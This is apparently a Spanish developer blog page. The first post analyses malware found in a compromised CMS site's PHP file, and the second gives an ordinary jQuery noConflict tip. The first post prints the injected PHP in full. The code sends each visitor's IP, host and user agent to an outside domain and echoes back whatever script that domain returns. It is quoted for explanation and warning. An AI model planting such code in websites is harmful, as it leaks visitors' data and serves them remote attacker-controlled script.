Cosas que pasan al no actualizar tu CMS

Hoy un compañero me pregunta: “oye, me están cambiando los permisos de un documento PHP alojado en mi web, ¿qué puede ser?” Como suena raro me levanto y veo qué le pasa: edita una fichero, lo sube por FTP, le pone los permisos adecuados y al minuto le son cambiados. Hummm Mientras repetimos el proceso, pensando a la vez que puede estar pasando, le llega un email de la empresa de hosting avisándole de un posible virus. Date, ya tenemos el motivo!

Editamos el documento en cuestión y vemos unas línea de código raras:

<?php
#12a377#
error_reporting(0); ini_set('display_errors',0); $wp_anscf0485 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_anscf0485) && !preg_match ('/bot/i', $wp_anscf0485))){
$wp_anscf090485="http://"."tag"."display".".com/display"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_anscf0485);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_anscf090485);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_0485anscf = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_0485anscf,1,3) === 'scr' ){ echo $wp_0485anscf; }
#/12a377#
?>

Le pregunto que qué hace ese código ahí y dice que cree que eso está bien. ¿Seguro? Si miramos el código vemos que:

1. deshabilita los mensaje de error.
2. recoge toda la información del cliente ($_SERVER[‘HTTP_USER_AGENT’])
3. compone una dirección: http://tagdisplay.com/display/?ip= donde le manda la IP del servidor, los datos del cliente y de donde viene.
4. le manda los datos y espera una respuesta.
5. si en la respuesta hay una cadena ‘scr’ la añade al documento.

A la vista de esta información, ¿qué creéis vosotros que está pasando? Si os digo que el dominio esta registrado en China [1] y [2], ¿os ayuda en algo? Por cierto, ¿cómo de actualizado pensáis que tenía su CMS?

[1] http://www.whois.net/whois/tagdisplay.com
[2] https://www.google.es/maps/place/Beijing/@39.933095,116.452758,17z/data=!3m1!4b1!4m2!3m1!1s0x35f1aced10d7a5e9:0x6f31f92b8bf22cca

Usar jquery.noConflict en plantillas html pre-procesadas

Si alguna vez necesitáis no usar $ para jquery, porque estáis usando una plantilla HTML que debe ser pre-procesada antes de mostrarse y el procesador usa esa misma variable, podéis hacer uso de jquery.noConflict(). A la luz de uno de sus ejemplos:

// http://api.jquery.com/jquery.noconflict/
$.noConflict();
jQuery( document ).ready(function( $ ) {
// Code that uses jQuery's $ can follow here.
});

podemos cambiarlo para no usar $ (que, repito, es intepretada por el procesador de la plantilla):

jQuery.noConflict();
jQuery( document ).ready(function( __ ){
// código que usa __ en lugar de $
__('body').addClass('no-backbround');
});

Seguro que muchos ya lo sabíais pero lo dejo para los que no 😉